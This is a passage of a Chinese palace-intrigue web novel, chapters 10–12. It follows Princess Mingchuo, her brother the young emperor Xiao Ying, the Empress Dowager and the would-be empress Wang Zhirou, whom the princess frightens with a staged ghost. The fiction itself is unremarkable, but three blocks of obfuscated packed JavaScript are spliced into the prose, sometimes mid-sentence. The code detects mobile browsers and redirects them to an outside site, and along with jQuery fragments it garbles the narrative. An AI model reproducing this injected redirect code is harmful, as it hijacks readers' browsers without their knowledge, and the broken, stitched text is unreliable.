萧盈把冰袋又抓起来,小心地给她贴在肿起来的地方。冰稍微化开一些,浸得粗麻布湿漉漉的,贴在明绰皮肤上,激起一片鸡皮疙瘩。 明绰赌气似的:“那天宴上我得罪过他,他就是故意的。” “他难道是不想活了吗?” 明绰气急,音调都扬了起来:“皇兄就一点都不处置他吗?” 萧盈还是那副没什么表情的样子:“朕一会儿就去处置他。” 明绰冷笑了一声:“这才陪了几天,随身之物随便就赏,看来嫖姚都尉已是皇兄的人了,还处置什么!皇兄岂会为了妹妹去寒忠臣良将的心!” 萧盈放下她的手臂,抬头认认真真地看着她。他好像知道明绰在气什么了。宋夫人跟他说过,东乡公主闹过一场,也要学骑射,让太后给否了。她还跑去含清宫找过,但萧盈一直不在。 萧盈突然问:“为何说你得罪了他?” 明绰咬住了下唇,没开腔。总不能说因为那天袁煦多看了她几眼吧?虽然谢聿的糊涂念头已让太父否了,但看这样子,袁煦深得圣恩,皇兄未必没有心抬举袁家。既然已经误会她今天是来看袁煦的了,要是让皇兄再以为她和袁煦有什么私情相授,可不得了。 萧盈看着她的表情,突然想起那天宴还没散明绰就早早地跑去了含清宫的样子,她突然求的恩典,还有他刚才把明绰抱起来的时候,袁煦那毫不避让的眼神。 萧盈缓缓地放下了手里的冰:“他还真是不想活了。” 明绰感觉到了他话里的冷意,突然一怔:“皇兄要如何处置他?” 萧盈不答,随手把冰袋扔进了刚才为明绰清洗伤处的铜盆里,冰块触底,发出丁零当啷的脆响,然后又浮上水面。 明绰强咽下一口气,突然道:“东乡刚才说的是气话,皇兄还是别放在心上。嫖姚都尉无心之失,东乡不敢做范雎。” 萧盈深深地看着她,但是明绰说完就垂下了眼睛,只看着水面上浮起来的布袋。 萧盈的妹妹可以有很多小性子,不喜欢袁煦,更不喜欢兄长跟袁煦玩得好,再也顾不上她。但是东乡公主知道,执金吾卫不在天子手里,即便嫖姚都尉只是个虚职,即便袁煦只是个少年,天子也要自己的人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧盈突然意识到他离明绰有多近。他的手托着明绰的脸,鼻尖几乎要挨上她的,好像他想再闻一闻她身上的味道。然后所有的动作都被这声“皇兄”惊得顿住,有那么一会儿,萧盈完全僵住了,一动不动。明绰也不躲,眼睛睁得大大的。下一刻,萧盈几乎是用力推了她一把,突然站了起来。 明绰又叫:“皇兄!” 但是萧盈已经大步走了出去。崔挺还等在门外,袁煦也还杵着,明显崔挺在问袁煦话,但是袁煦并不理他。见天子出来,袁煦立刻将崔挺抛在一旁,一声“陛下”还没说完,萧盈已经抓起了他托在手里的马鞭,劈头盖脸地一鞭抽了下来。袁煦的头一偏,一道红痕从颊侧一直蔓延到了脖颈里。 袁煦一声都没出,撩袍跪地。执金吾卫们马上跟着呼啦啦跪了一地。 “陛下!”袁綦扑了上来,“兄长他……” “住口!”袁煦伸手拦在他胸前,把他往后拨,“只要陛下能息怒,抽臣多少鞭子都行。” 崔挺也道:“陛下息怒。” 萧盈没搭理崔挺,居高临下地看了袁煦一眼,然后将马鞭丢在了他脚边,叫道:“桓湛!” “臣在!” “自己下去,领二十军棍!” 桓湛的脸一下子涨红,但是不敢抬头,扬声道:“喏!” “别不服气。”萧盈的视线扫过去,“再让朕看见谁家的姐姐妹妹来校场的,五十棍。” 桓湛的脸涨得更红,应的声音却更高:“喏!”他站起来,二话不说下去领军棍了。 崔挺很识时务地也跟着开口:“陛下,是臣失职,臣也请军棍。” 萧盈终于把视线落到了他身上,停留了好一会儿都没有说话。 清扫校场周围的闲杂人等,护卫天子周全,自然是他崔挺的责任。但来的都是些千金小姐,这些世家公子也乐在其中,崔挺不管,那叫有眼力见。领军棍也就是嘴上一说,根本不觉得陛下会发落他。可是陛下一直不说话,崔挺在他的注视里突然心里一紧。 陛下真的不会把他怎么样么? 崔挺跪了下去:“臣惶恐,陛下……” 萧盈这会儿又笑了起来,微微俯身,亲自扶起了崔挺。这病弱得出了名的小皇帝,扶他的那只手却稳而有力,腕上和指间都套着护具,是一只拉弓的手。 “起来吧。”萧盈亲切地对他说,“不关崔卿的事。” 崔挺感觉到萧盈在他手背上无声加重了力道,“喏”了一声,紧张地往后退。但萧盈没放开他,反而把人又往自己那边带。崔挺诚惶诚恐地低头凑上去,以为天子还有什么要吩咐,萧盈却只是小声在他耳边道:“执金吾卫向来尽忠职守,朕心里很欣慰。” 话音未落,萧盈已经突然把人放开,崔挺往后退了一步,像是被小皇帝推了一把,险些没站稳。萧盈再没理他,招招手命袁煦起身,只说回校场继续射柳去。 那几个随侍的执金吾卫也都跟在了天子身后,崔挺顺势躬身行礼,直到萧盈的背影都看不见了,才直起了身。 从这里已经看不见校场了,但是崔挺一直看着校场的方向,很久没有动作。他近几日很少去校场了,之前每次去看,陛下都是优哉游哉地坐着,指挥那帮世家子弟操练,从未见他自己下过场,拉过弓。太后问起,他也是这样说的。 天子好游嬉,喜玩乐,弱质无力。 只听风里远远传来一阵欢呼,惊动了崔挺。他抬起头,看见最后一只鹁鸽突然从树丛间飞了出来,猛地冲上了天际。 10. 第 10 章 尽管明绰百般遮掩,校场之事还是没有瞒得过谢拂霜。出乎她意料的是,崔挺什么都没说,没顶住的是谢星娥。太后把脸一板,谢星娥就什么都招了。 明绰不出意料地被禁足在了上阳宫。本来是罚了抄书,但念在手臂受了伤,可以暂缓。没几天,太后突然又以训诫公主之名把王执瑈接到了上阳宫。 这意思便很明了。就算是太后舅家的孙女,再有贤德之名,也没有“训诫”公主的资格,那自然是定了皇后的缘故。太尉已经在朝会上明确提了立后一事,陛下难得在太极殿上不等太后回应就擅自开了口,允许朝臣们推举合适的世家女子。 明绰承认,王执瑈是个大美人。肤白胜雪,眼若点漆,唇如施朱。要她坐着,她就能一整天动也不动,端庄得像画里的人似的,要她走两步,便是弱柳扶风,楚楚动人,光是看着就让人赏心悦目。 只可惜这美人是个木头美人,说来训诫的,便当真对公主的言行三挑四拣,半点没有要跟她交好的意思。 贵女们扎堆去校场的事情经过这么一闹,自然再也不是什么秘密。但有些贵女们仗着家中并无父兄在执金吾卫,或者像崔庆英这样,自己就是中尉家里的女眷,并不把陛下的话放在眼里,让崔挺抓了个现行。他杀鸡儆猴,拿自己家的侄女作筏子,闹出了好大动静。 这下子整个建康城都闹得沸沸扬扬,桓宜华痴恋嫖姚都尉的事情也传进了桓殷耳朵里。她其实只是桓殷族中的侄孙女,平时非年非节连大将军的面都见不到,但是大将军一听是袁家,气得请了家法出来,要亲自管教。谁知这个桓宜华竟是个烈性的,哪里听这老头子的话,自己骑了一匹马就去找嫖姚都尉了。 据谢星娥绘声绘色的转述,那桓宜华是当着天子的面,还有她兄长桓湛在旁边举着剑,逼着袁煦答应娶了她。天子金口玉言,已经赐了婚。 明绰正听得入神,王执瑈却幽幽地传过来一句:“闲言及于非理,便是邪僻之端。长公主,还是少议论这些事罢。” 明绰莫名其妙地转过头去看她,只见王执瑈端坐在那里,低着头绣她的活计,神色平静得好像刚才说话的不是她。 谢星娥便朝明绰一吐舌头,小声道:“东乡姐姐,以后你的日子可不好过了。” “我有什么不好过的?” “长嫂如母。”谢星娥摇头晃脑,幸灾乐祸,“等她做了皇后,管了后宫,姐姐岂不是要被约束死?” 明绰不耐烦地推了她一把:“什么乱七八糟的,我母后还在呢!” 她的声音大了一些,只听王执瑈突然重重地叹了口气,把手里的活计放在了膝上,一双眼睛很谴责地看着她们姐妹俩。明绰也不知道哪里来一阵心虚,乖乖地收了声。 萧盈赐婚之事在朝中也激起了不小的波澜。谢郯看不上袁家,桓氏自然更看不上。但不知道为什么,桓廊竟然肯了,还转回头去说通了叔父桓殷,中郎将这才携了礼,上了门,订下了两家的亲事。 王执瑈不愿意议论此事,觉得桓宜华“德行有亏”,这算是丑事,所以她不能议人是非。她自己不愿意议论就算了,连带着上阳宫里的宫人们,一概都不许议论。东乡公主她管不了,便只有苦谏。等谢星娥回去了,王执瑈同明绰进个晚膳,那是左一篇“为妇之德”,右一篇“敬慎言语”,生生地要把明绰烦死了。 明绰突然打断她:“王姐姐可知道皇兄为何要赐婚?” 王执瑈没想到明绰问起这个:“自然是陛下愿意成人之美……” “错。”明绰突然正色起来,“其一,荆州事态未明,刺史邓霄摇摆不定,万一真与长沙王勾结起事,无论是眼下讨逆平叛,还是日后镇守荆州,中郎将都是最好的人选。皇兄要抬举袁家,不管是不是桓宜华,皇兄都会赐一个高门贵女给嫖姚都尉。” 王执瑈似是想打断她:“长公主,这些事情不是……” 明绰理都没理她:“其二,桓大将军对中郎将颇有成见,桓氏女此时主动来求,正是良机。桓大将军再不肯容人,也得把这私怨咽下去。若这一次抓不到邓霄的把柄,那中郎将构陷之罪,也要有桓家来兜一兜他。这是皇兄为了保全袁家——王姐姐若是要问,为何非要保全袁家……” 王执瑈伸手摸了摸鼻子,看起来完全没有想问的意思。不过不影响明绰自顾自往下说。 “这便是其三。谢、桓两家多年来结党争权,从前天子年幼,国家仰赖辅政大臣,那是无可奈何。可是如今天子长大了,他要主政,岂容世家如此架空皇权?皇兄是借此敲打谢、桓两家,逼着他们将相和。” 王执瑈静静地看着她,脸上一副“说完了?”的表情,看得明绰心里一把火猛地蹿了起来,感觉像在对牛弹琴。 “王姐姐只知道恪守妇道,却不通朝局人心,”明绰没好气地放下了筷子,“皇兄娶你回来,难道是图你放在画上好看的么!” 王执瑈不为所动:“陛下既有谋定之能,也用不上我,朝政的事情原本就不是妇人该多嘴的。长公主如今居于后宫,想是不妨,但以后嫁了人,可千万不能……” “有本事你去母后面前说这些话!” 王执瑈终于停了停,微微垂下了眼睫。“妇人不干政”这样的话,其实在大多数的名门望族里,也还是这么一代一代教训着,但没人会傻到去太后面前说。她轻轻地放下碗,轻声道:“太后自是不同。” 明绰扬起下巴,跟她较起了真:“哪里不同?” “时势不同。”王执瑈还是平平淡淡的语调,“先帝早崩,太后是不得已。如今陛下的情形不同了,便应当早正纲常。” “王姐姐这是什么意思?”明绰眯起眼睛,“如今大雍的纲常不正吗?” 她记得王执瑈的祖父曾经上过表,痛陈建康城中的女子们“不绩织麻,摩挲于市,登高临水,任情庆吊”,连宦妇们之间也有一股“舍中馈之事,修周旋之好”的歪风,说到底,还是太后做得不对。 他倒没敢说什么“牝鸡司晨”之类的话,只是明里暗里戳着太后的脊梁骨提醒,这位子只是她“暂代”的。若是因为太后居于高位,便允许女子们进学交游,任意妄为,便是大祸之始了。当时惹得谢拂霜非常不高兴,念在他是嫡亲的舅舅才没发落。 然而王执瑈只是温柔地笑了笑,没有掉进明绰的陷阱里。 “我并没有这样说。”她不紧不慢地给明绰夹菜,“长公主,女子以端庄为重,饶舌惹战,随意发怒,都不是好品行。” “你!”明绰被她气得站了起来。 王执瑈还是木头一般的神气:“长公主还是坐下,饭还没吃完呢。” 明绰没好气地一拂袖:“我饱了!姐姐自己吃吧!” 她站起来就走,王执瑈也没拦,只叫人把晚饭撤下去了。在旁边伺候的灵芝回去给谢拂霜回报,都忍不住赞叹,也不知道王氏女这套静气的功夫哪里修炼来的,连东乡公主都治得了。谢拂霜犯了病,头疼得厉害,饭也吃不下,歪在榻上让人揉着头上的穴位,一边闭着眼睛听,听完了,也就是扯着嘴角笑了笑。 “王家教养出来的女儿,当然厉害。”谢拂霜慢悠悠地睁开眼睛,“自小就是照着皇后的模子养的。” 梁芸姑在一旁伺候着,突然道:“奴婢倒是觉得,王氏女还是过迂了些,咱们长公主论起朝局,那才叫条分缕析,头头是道,真像太后。” 谢拂霜听着听着已经又闭上了眼睛,自己用一根手指撑着太阳穴,指甲深深嵌进皮肉,像是要伸进颅骨,把折磨得她日夜不宁的病灶挖出来。梁芸姑见她神色,便也不说了,抬手示意那个正服侍太后的宫人起来,让灵芝也退下,然后亲自跪坐到谢拂霜身后,手指刺进她发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893235|159969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,不轻不重地按揉起来。 谢拂霜突然叹了口气:“她到底不知道我的心。” 梁芸姑顿了顿,换上了安抚的口吻:“长公主还小呢。” 谢拂霜只当没听见,一只手伸到脑后,牵住了梁芸姑的一只手,面上不见有什么神色,手上却抓握得极紧,良久,又松开。 “她头头是道,论的都是她皇兄,何曾想过谢家来日的下场?”谢拂霜无声地咬了咬牙,“当初我送她去含清宫,是要她懂识人断势,朝中那些人日后能服膺她。没想到,反而让萧盈钻了空子……” 凭什么?谢拂霜想不通。因为她的女儿说到底还是姓萧,不姓谢? 梁芸姑轻声劝道:“咱们长公主一向有情有义,陛下心疼她,她便千百倍地还回去,手足情深,也是天性使然。” 谢拂霜从鼻子里嗤了一声:“好个手足情深,那小子惯会玩弄人心。” 梁芸姑一时不敢再回,但她知道谢拂霜说的是什么。萧盈给袁、桓两家赐婚是什么意思,旁人没有看不出来的道理。当时旨意下到中书省就让谢聿给驳回了,反正桓家也不情愿,这事儿顺顺当当地就该让门下侍中写个封驳,就可以当做一句戏言过去了,但是萧盈竟然把中书和门下的侍郎都召进了宫。 两个侍郎脑子也都很清楚,哪里会听他的。萧盈气性还挺大,人一走就又犯了心痛之症,病倒了。 这一病,太尉就进了含清宫。谢拂霜根本不知道萧盈是怎么跟谢郯说的,只听到人来报,说陛下“涕下不止,尽叙孺慕之情”。最后谢郯甚至坐在床边,亲自把萧盈搂在怀中喂他吃药。 第二天,赐婚的旨意就从中书那里发出来了。 谢聿一脑门官司地进了上阳宫,跟妹妹说了半天,直骂父亲是糊涂了。但谢拂霜心里明白,谢郯老了,病了,就更多地顾忌身后名、身后事。他不敢做霍光,也不愿承受青史之下悠悠众口。他想要百世清名,所以寒来暑往,年复一年,在萧盈身上浇灌了无数心血,只盼着天子能够成材,能撑住大雍的江山。 萧盈也很清楚谢郯这份心,不然他不会懂得用他的眼泪和病弱让太父心软。天子这份“孺慕之情”太切中谢郯的软肋了,让他愿意相信,只要他在活着的时候愿意急流勇退,还政于天子,那把刀萧盈就永远不会举起来,谢家全族便得保全。 谢聿还等着桓家上书争辩,但桓廊也被召进了含清宫,同样不知道萧盈跟他说了什么,回去桓廊就劝住了怒发冲冠的大将军,然后这事儿就这么成了。 所以谢拂霜才感到胆寒。朝臣不满太后僭权久矣,萧盈本来就占了“正统”二字,若是他还聪慧明理,能谋善断,那么人心覆水,也不过朝夕而已。 谢拂霜微微斜过头看了梁芸姑一眼,突然道:“明绰还小么?看看萧盈心里算计的都是什么,她呢?” 她闭上眼睛,不等梁芸姑回答什么,沉着声音道:“是我把她惯坏了。” 一时没有人再说话。梁芸姑的手仍是不紧不慢地沿着穴位按揉,宫里荡着幽幽的香气,缠绕在烛光里。谢拂霜的脸色在烛光下已经不那么好看了,长久的劳心和病痛已经夺去了她的美貌。如今的太后,就连在不见人的时候也必须敷粉施朱,眉毛是最时兴的翠色,两颊描了鲜红的靥妆,但遮不住凹陷下去的病容,反倒看起来更没生气了。 “太后,”梁芸姑很是心疼地劝了一句,“多少进两口饭吧。” 谢拂霜微微睁开眼,扫了一眼桌上的吃食。都是清淡的羹汤和鱼脍,早已放凉了,更让人没胃口。 “拿走吧,我吃不下去。”谢拂霜摆了摆手。梁芸姑叹了口气,刚要唤人进来收拾,谢拂霜却突然想到了什么,轻轻地抓了抓她的手腕。 “咱们那小皇后今晚也没吃几口吧?”谢拂霜笑了笑,“送过去,就当本宫替公主给她赔罪了。” 11.第 11 章 夜雨霖霖。风把窗户推开,将雨丝送屋中,案前烛火随之晃个不停,雨丝随之映出银针似的光,根根跌碎。 王执瑈伏案而坐,笔下正誊抄《妒妇传》。那原是当年梁宣帝时,因姜皇后善妒成性,特地命人搜做的规劝妇人的集子。年深日久,纸都烂了。谢太后命她把这些散乱的残篇整理编纂,作为新《女训》的其中一篇,以明妇人之德。 王执瑈写得入神,被风吹了一个激灵,也未抬头,只唤人去关窗。 宫室里幽幽地荡出了她自己的声音,却没有人应答。 王执瑈疑惑地停笔,又叫了两声,但屋子里就是没人,连她从王家带进宫来伺候的老妪都不见了踪影。王执瑈没有多想,自己起身来关上了窗。风太大,已将屋子里一半的蜡烛都吹灭了。王执瑈只好把头埋得低低的,几乎把鼻子都埋进了故纸堆里。 这些故事既有高门显贵之内宅轶事,也不乏民间夫妇的争端。无非都是做妻子的因善妒成性而被惩罚,轻则被丈夫责打,重则被判了官司,有拔舌,黥面,刖足,甚至还专有一卷写了阴司报应,说庐州有一柴氏,因嫉妒而鸩杀了丈夫的妾室,那妾室化了鬼魂,夜夜在她窗外哭泣不休,索去了柴氏的魂,下到地府陈情,阴间司正判了那柴氏油煎之刑。旁边有一排朱红小字,“阴司事阳间人何知耶?”正是当年姜皇后所批。 她后来的遭遇人尽皆知。梁宣帝作《妒妇传》规劝无果,反而激怒姜皇后,她下令鸩杀了梁宣帝的宠妃,帝后彻底失和,梁宣帝送来了白绫,将姜皇后活活绞死,再割舌覆面,要她下了黄泉也无颜见人,有苦难诉。 当年的姜皇后,正是死在了这上阳宫。 烛火又猛烈地晃了晃,融化的烛泪盈出来,尚未滚下,便又重新凝结。窗户突然“吱呀”一声,又被吹开了。 王执瑈猛地合上了残卷,又叫了一声家中老妪的名字,但回答她的还是只有自己的回音。窗牖被吹得来回扇动,王执瑈又走到窗边,刚要关上,忽地听到了幽幽的哭声。 “谁?”王执瑈退了两步,提高了声音。 没有人回答她,那哭声反而更响了一些,是个女子的声音。王执瑈惊出一身冷汗,跑回案前,高高地举起烛台,仿佛手里擎了一把剑,厉声道:“什么人!” 窗户还在随风摆,那哭声渐渐地淡去了,仿佛一切只是风。王执瑈在手心捏了把汗,壮着胆子回到了窗边,探着头看了看。外面什么都没有,她迅速把窗户重新合好,闩上了木条。但是心里太紧张,原本抓着的烛台突然一歪,跌落到地上。被烧化的蜡油一斜,彻底浇灭了火光。 一个人不知道什么时候已经坐在了她刚才坐的位置上。 王执瑈腿一软,整个人都跌到了地上。她想尖叫,可是嗓子眼里像是堵住了。屋里原本就只有一半的火光,太暗,便看不清那是谁。只看到她的头发乱糟糟的,盖住了整张脸。窗外的哭声突然又起来了,调子扬得极高,像绷断的弦。 “何知耶?何知耶?”那女子念念有词,手指伸出来,看不见似的,摩挲着王执瑈扔在案上的残卷,然后顿住了,轻轻地笑了一声。 “阴司事,本宫如今都知道了……” 她缓缓地转过脸来,朝王执瑈张开了嘴。 一声凄厉的尖叫骤然划破了雨夜。 “什么?”谢拂霜惊讶地坐直了身子,“她说看见了谁?” 灵芝便又重复了一遍:“前朝的姜皇后。” 王家那个老妪今天一大早就来报,说王执瑈病了。谢拂霜传了太医,诊下来说是惊厥之症。这病常见于小孩子高热,但是王执瑈也没有发热的迹象,只是神志不清,抖得厉害,都不认人了。瞧着凶险,但太医施了针便好了,来回报太后,说应该是受了惊吓。灵芝守了许久,等王执瑈定了心下来才去问,没想到竟问出一个前朝姜皇后来。 梁芸姑想了想,道:“那《妒妇传》说得确实骇人,许是王家的小姐读得入了迷,让梦魇住了吧。” 谢拂霜当即冷哼了一声:“男人编几篇胡话就能吓得她这样,也是个不中用的。” 明绰悄无声息地把手里的黄纸翻了一张,露出了嘴角一丝忍不住的微笑,随即又被她遮掩了过去。 “知道了。”谢拂霜只当没看见明绰的表情,吩咐道,“让她好生养着,那《女训》就先不用她作了。” 灵芝欲言又止:“太后……” “还有何事?” 灵芝:“王小姐相求,想回家去。” “胡闹。”谢拂霜皱起眉,“她以为上阳宫是亲眷家里,想来就来,想走就走?” “奴婢去问了昨夜伺候的人,看见姜皇后的不止王小姐一个,身缠白绫,以发覆面,口中无舌,眼下人心惶惶……” “溦溦,”谢拂霜突然唤女儿,“你的屋子就在旁边,你昨晚看见鬼了吗?” 明绰抬起头,一脸不似作伪的茫然:“没有啊,这世上哪有鬼?” “说得好。”谢拂霜重新转向灵芝,听起来已经有些不耐烦了,“让他们管住嘴,不许胡说八道!” 灵芝便不敢再说,但神色颇有些为难。梁芸姑看了她一眼,似是想到了什么,又柔声道:“你去,当着众人的面,把姜皇后批过的那册书烧了,告诉他们,上阳宫以太后为尊,有天命护佑,前朝的皇后算是什么东西?有太后在,作不了祟的。” 灵芝这才退下。明绰等她走开了才问:“母后,为何不让王姐姐回去?” 谢太后把王执瑈召进宫,托的是慕她贤德之名,请她帮忙训诫长公主的名义。但王执瑈在宫里也有段日子了,显得东乡公主多顽劣似的。 天子说是让朝臣们“举荐”皇后人选,但王执瑈在宫里一住下,便也不再有举荐旁人的。可是立皇后的诏书又迟迟不下,这事儿一时就拖住了。 明绰问了这话,谢拂霜又装作没听见,她心里便忍不住这样想,母后显然是不太看得上王执瑈,这皇后怕是立不成。 谢拂霜目光轻轻一扫,已经把女儿窃喜的神情收进眼里。梁芸姑跟她交换了一个眼神,然后轻轻地吐出自己的舌头,指了指。 明绰舌上还残留着斑斑驳驳的黑色痕迹,说话的时候就能看到。谢拂霜刚看见的时候就问了,明绰只说是吃了芝麻糊。但一想到宫人们和王执瑈说那位“姜皇后”口中无舌,谢拂霜便明白是怎么回事了。 梁芸姑放下手,颇有些哭笑不得地摇了摇头。谢拂霜朝她使了个眼色,那意思便是要她一起装着没看见。 “母后,”明绰全然不知道两个大人眼睛里交换了些什么,手里已经把那黄纸公文翻完了,“长沙王真的疯了吗?” 原先的王府长史说是不耐长沙王的疯癫,擅自辞官而去了。朝廷一面指派了新的长史,一面去原先那位的家乡寻人。但此人无影无踪,连亲人都一并消失不见,明绰想起萧盈当时说过的话,长沙王也许真的有异心,已经把府上长史杀了。但找不到证据,这人或是畏罪潜逃,也是有可能的。 新的长史日日汇报,说萧忞疯得惊世骇俗,甚至追着幼子要什么童子尿来喝,实在不像装的。从这些奏疏来看,朝野上下都已经认定长沙王是真疯了,隐隐有把矛头指向袁增的意思,只因陛下新近指了和桓家的婚事,桓家只好保持沉默,旁人才没攻讦得太过火。 谢拂霜反问她:“溦溦觉得呢?” 明绰想了一想:“母后,他都做到这份上了,就饶他一命吧,毕竟是父皇最后一个弟弟了,说出去,太后的名声……” 谢拂霜撑着额头看她:“你不用顾忌做太后的名声。我是问你,若你是天子,当如何处置?” 明绰没听懂这有什么区别,眨了眨眼,只道:“天子的名声也不会好听啊……” 谢拂霜放下了撑着的手肘,看定了女儿:“他要抢的可是你的至尊之位.” “他也就是想想,”明绰不怎么在乎的语气,“现在他被盯得动弹不得的,又抢不着。” 谢拂霜正色道:“想想也不行。” “想想有什么不行的,”明绰道,“谁还没想过啊?太父和舅舅不都… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903340|159969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 她猛地住了口,看了谢拂霜一眼。但谢拂霜什么都没说,仍旧是定定地看着她,眼神看不出喜怒。 明绰不敢往下说,朝梁芸姑使了个眼色。梁芸姑立刻会意,给太后端来了一碗羹。明绰乖巧地伸手要去接碗:“母后,溦溦伺候你用羹。” 但是谢拂霜轻轻一避,自己端着碗,瓷勺在碗底刮出了微弱的声响。 “你皇兄跟你说过他打算怎么处置长沙王吗?” 其实萧盈没有明确说过,但明绰也很清楚,萧盈在此事上其实和谢拂霜是一样的态度。他们不会放过长沙王。 谢拂霜笑了笑,已经从她的表情中读出了想要的回答,然后一口气把碗里的羹当药一般灌了下去。 “溦溦,你心中还能念着宽仁,是因为你还没有坐在这个至尊之位上。你要记住……”谢拂霜停下来,明绰等着她往下说自己应该记住什么,但谢拂霜只是沉默地、长久地看着她。 明绰又想了想:“母后要是实在不放心,还是召长沙王回建康吧。他要是真疯了,在那种荒僻地方也是凄凉,就当是母后这个做嫂子的照顾他。他要是没疯,肯定知道这是母后在保全他。” 谢拂霜没立刻答,只是伸出手示意梁芸姑拿走了空碗。 “当初你太父也想这么保全燕康王……”谢拂霜看着女儿,没把后面的话说完。燕康王封地的州镇不像荆州刺史这般态度模糊,燕康王没有后手,狗急跳墙的下场就只有血溅当场。 可是长沙王不一样,当年封去那里就是因为荆州刺史兵强马壮,能替建康镇住萧忞,没想到如今竟然适得其反,反而让建康投鼠忌器。 谢拂霜轻叹一声:“溦溦,荆州不可擅动。” “我知道!”明绰一脸被看轻了似的神情,急切道,“我不是要逼他狗急跳墙,我是说咱们把他骗来!” 谢拂霜眨了眨眼,露出探询的神色:“如何骗?” 明绰伸手在刚看完的那一堆公文里翻了翻,找出御史中丞的奏表:“母后你看,王诃这么给长沙王说话,绕了半天不就是怕皇兄崩得太早,宗室无人吗?长沙王肯定也是这么想的,母后就派人去跟他说,陛下病得太重了,恐怕活不长啦,母后想收养长沙王的儿子,让他挑两个最聪明最健壮的带来健康——要是这都不上钩,那他才是真疯了。” 谢拂霜听得笑起来:“一点都不忌讳谶纬,怎么这样咒你皇兄?” “那不还是为了皇兄江山永固吗?”明绰撒娇似的依偎进谢拂霜怀里,又道,“溦溦是童言无忌,御史中丞才是咒皇兄呢,母后赶紧治他的罪!” 这话说得谢拂霜和梁芸姑都大笑不止,做母亲的摸了摸她的脸,再捏捏她的鼻尖,好像女儿就是这世上最可爱最无邪的东西,光看看怎么能够,一定要上手才能稍露她心里的爱重之万一。 “长公主这就是欲加之罪了,”梁芸姑也跟她开玩笑,“中丞一心想着女儿做皇后呢,哪会咒陛下?” 明绰撇撇嘴:“换个皇帝,他女儿不是一样做皇后?这人心可坏得很,他才不在乎跟母后沾着亲呢!” “没错,还是溦溦眼光狠辣!”谢拂霜抱紧女儿,把下巴磕在她的颈窝里,亲昵地跟她贴了贴脸,然后又想起什么,跟明绰分了开来,拿帕子去擦女儿脸上蹭到的鹅黄和粉妆。 这些粉黛谢拂霜喜欢,明绰却是沾不得,也不知道怎么回事,沾多了就会起疹子。建康的贵女都学太后,太后又鼓励各种新奇妆面的流行,所以大多喜欢把脸涂到极白,再上各种红的黄的甚至还有绿的蓝的,明绰一概涂不得,从来只用花汁蜜露熬出来的胭脂。别说那些个“佛哭”“妖靥”的繁复花头,她连眉毛都不见得画一画。 明绰不怎么在意地别过头,自己草草摸了摸下巴。但谢拂霜擦得十分仔细,明绰嗅着母亲帕子上的香气,很依恋地又蹭了蹭。谢拂霜干脆把帕子给了她,这才拾起了王诃的奏疏,又扫了两眼。 “既然中丞如此回护,便派他去接长沙王吧。”谢拂霜轻笑了一声,随手抛开了那公文。 12.第 12 章 萧盈没等袁煦来扶,自己翻身下马,随手把马鞭扔给了袁煦。整个人身形挺拔舒展,虽比袁煦小着两岁,站一起也能并肩了。袁煦颊边一道鞭痕还没好全,像条长虫似的,触目惊心地爬在他玉白的脸上。但君臣两个之间却半点没有裂痕似的,袁煦不知道说了句什么,萧盈正整理束袖,闻言低着头笑了起来,回了一句。然后袁煦抬起头,看到了一路迎到了殿外的女子。 “宋夫人好。”袁煦揖了一揖,识相地退了一步。宋夫人也微微屈膝,问少将军安,随即轻轻附到萧盈耳边道:“陛下,太尉来了。” 萧盈神色没什么变化,低着头,终于把束袖拆了下来。广袖垂下,他甩了甩,只道:“嗯。” 袁煦:“陛下,那臣先告退了。” 萧盈把束袖递给宋夫人,随手朝袁煦挥了挥,准他告退。袁煦没敢立即转身走,还是躬身站在原地,看着天子拾阶而上。 也不知怎么的,少年人的身形突然就变了。校场里的萧盈行止闲逸,风度慵随,虽然单薄,却有一股凌厉的锐气逼人。眼下这两步一走,肩膀一垮,那单薄又成了孱弱,整个人都没了力气,好像要靠着宋夫人才爬得动这级台阶似的。 袁煦一时看得愣住,好一会儿才想起来该告退了。 宋夫人偎着天子慢慢走,轻声道:“王氏女病得有些神志不清了。” 萧盈还是只有“嗯”一声:“还是闹鬼?” 宋夫人点点头:“上阳宫这个月有好几个年纪小的宫女都吓病了。” 萧盈脚下微微一顿,台阶就剩几级,他已看得清殿中坐的人影。 “东乡公主呢?”他侧过头,“吓着她不曾?” 宋夫人垂下头,神色淡淡的:“那姜皇后是来吓王皇后的,公主何辜?早就被接到太后寝宫亲自护着了。” 萧盈没说什么,半晌,伸手握住了宋夫人的手,微微用力,在她手背上捏了捏,宽慰什么似的。 “姊姊,”萧盈的声音很轻,只有两个人能听见,“不关她的事,不要迁怒她。” 宋夫人抬头看了他一眼,眼神中一时有了然,又有一些无奈的嗔怪,甚至还有一些自知不妥的羞恼,最后全都化为一声轻叹。萧盈笑了笑,又在她的手背上捏了一下,带着近乎相依为命的亲昵。于是宋夫人也无话可说,轻轻拍了拍他的背,催促他进殿:“去吧,太尉已等了许久了。” 谢郯在殿中盘膝而坐,正闭目养神。见萧盈进来,本想起身行礼,但被萧盈制止。萧盈也坐下来,宋夫人亲自奉了茶来,又遣散伺候的人,只留下君臣二人相对而坐。 